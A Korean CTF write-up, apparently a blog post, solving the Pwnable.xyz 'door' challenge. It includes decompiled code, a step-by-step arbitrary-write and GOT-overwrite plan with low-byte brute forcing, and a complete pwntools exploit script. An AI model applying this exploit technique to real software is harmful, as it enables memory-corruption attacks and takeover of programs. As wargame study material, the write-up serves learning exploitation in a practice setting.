tmxklab
[Pwnable.xyz] door 본문
1. 문제
nc svc.pwnable.xyz 30039
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int choose; // eax
int v5; // [rsp+4h] [rbp-Ch]
int v6; // [rsp+8h] [rbp-8h]
setup(argc, argv, envp);
puts("Door To Other RealmS");
v5 = 0;
v6 = 0;
door = rand();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
choose = read_int32();
if ( choose != 2 )
break;
if ( door )
{
printf("Realm: ");
v6 = read_int32();
}
}
if ( choose > 2 )
break;
if ( choose != 1 )
goto LABEL_17;
if ( door == v6 )
{
printf("Door: ");
v5 = read_int32();
printf("Realm: ");
v6 = read_int32();
*(_DWORD *)v6 = v5;
door = 0;
}
}
if ( choose != 3 )
break;
if ( door && v6 )
*(_DWORD *)v6 = v5;
}
if ( choose == 4 )
return 0;
LABEL_17:
puts("Invalid");
}
}
- v5, v6에 0으로 초기화하고 door에는 랜덤 값이 온다.
- 메뉴 1 : door(전역변수)와 v6가 동일하면 v5와 v6에 입력 값을 받고 *v6에 v5의 값을 넣는다. 마지막으로 door에 0으로 초기화한다.
- 메뉴 2 : door에 값이 존재하면 v6에 값을 입력받는다.
- 메뉴 3 : door와 v6 둘 다 값이 존재하면 *v6에 v5의 값을 넣는다.
2. 접근방법
먼저, 메뉴 1번에서 *v6 = v5를 이용하여 원하는 주소에 원하는 값을 쓸 수 있으며 mitigation에서 full RELRO가 아니므로 got overwrite로 문제를 해결하기로 접근하였다. (메뉴 3번도 *v6 = v5를 하지만 v5에 원하는 값을 쓸 수 없음)
로직 정리)
- door(전역변수) : 0x601244
- v5 = 0, v6 = 0, door = rand()
- 메뉴 1 : if (door == v6 ) → v5, v6 = read_inre32() → *v6 = v5
- 메뉴 2 : if (door) → v6 = read_int32()
- 메뉴 3 : if (door && v6) → *v6 = v5
위 로직을 살펴보면 알 수 있듯이 got overwrite를 하기 위해서 메뉴 1번을 실행시켜야 하고 그러기 위해서는 door값과 v6값이 동일해야 한다.
하지만 door는 랜덤 값이고 v6는 처음에 0으로 초기화 되어 있다.
이제 단계별로 문제에 접근을 해보자
첫 번째)
먼저, 처음에 실행시킬 수 있는 메뉴는 2번밖에 존재하지 않는다.
메뉴 2번을 통해서 v6에 원하는 값을 작성할 수 있다.
두 번째)
메뉴 2번을 실행하면 메뉴 3번을 실행할 수 있다. 그러면 v6가 가르키는 곳에 널 값을 넣을 수 있다.
여기서 door에 값을 넣을 수 있는데 전부 널 값을 넣는 대신 하위 1byte를 제외한 나머지 3byte만 널 값을 넣기로 한다. 왜냐하면 door전부를 널 값으로 만들면 메뉴 2번과 메뉴 3번을 실행 못하고 v6에는 그대로 door의 주소 값이 존재하므로 메뉴 1번도 못한다
- door 하위 1byte인 0x55만 제외하고 넣기
- 0x601234(*v6) = 0x0(v5)
세 번째)
그럼 대충 하위 1byte의 범위인 0 ~ 0xff까지 브포를 하면 금방 door와 v6의 값이 동일할 것이고 *v6 = v5가 가능하다. 여기서 바로 got overwrite를 하면 될 것같다.
문제 발생)
- 성공적으로 puts@got에 win함수를 박았으나 이런 mov DWORD ptr [rdx], eax로 인해서 4byte만 got에 값이 쓰여졌다.
- puts는 이전에 한 번 호출되어 매핑되어있어서 상위 4byte에도 값이 존재한다.
해결)
아까 door의 상위 3byte 널 값으로 채워넣은 것처럼 똑같이 puts@got 상위 4byte에 널 값을 넣으면 됨
공격 프로세스)
- 메뉴 2 : v6 = 0x601245 → 메뉴 3 : 0x601245 = 0x0
- 메뉴 2 : v6 = 0x60101c → 메뉴 3 : 0x60101c = 0x0
- (브포) : 메뉴 2 → 메뉴 1
- door값과 v6값 동일하면 이제 got overwrite
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30039)
e = ELF("./challenge")
#gdb.attach(p, """b*0x4009b8""")
puts_got = e.got['puts']
win_addr = e.symbols['win']
# 1. input 0x0 at door high addr 3byte
p.sendlineafter("> ", str(2))
p.sendafter("Realm: ", str(6296133))
p.sendlineafter("> ", str(3))
# 2. input 0x0 at puts@got high addr 4byte
p.sendlineafter("> ", str(2))
p.sendafter("Realm: ", str(6295580))
p.sendlineafter("> ", str(3))
# 3. brute force
for i in range(256):
p.sendlineafter("> ", str(2))
p.sendafter("Realm: ", str(i))
p.sendlineafter("> ", str(1))
if p.recv(2) == "Do":
log.info("find")
break
else:
continue
# 4. got overwrite
p.sendafter(": ", str(win_addr))
p.sendafter(": ", str(puts_got))
#gdb.attach(p)
p.sendlineafter("> ", str(5))
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] PvE (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] note v3 (0) | 2020.09.09 |
[Pwnable.xyz] child (0) | 2020.09.09 |
[Pwnable.xyz] car shop (0) | 2020.09.09 |
[Pwnable.xyz] words (0) | 2020.09.09 |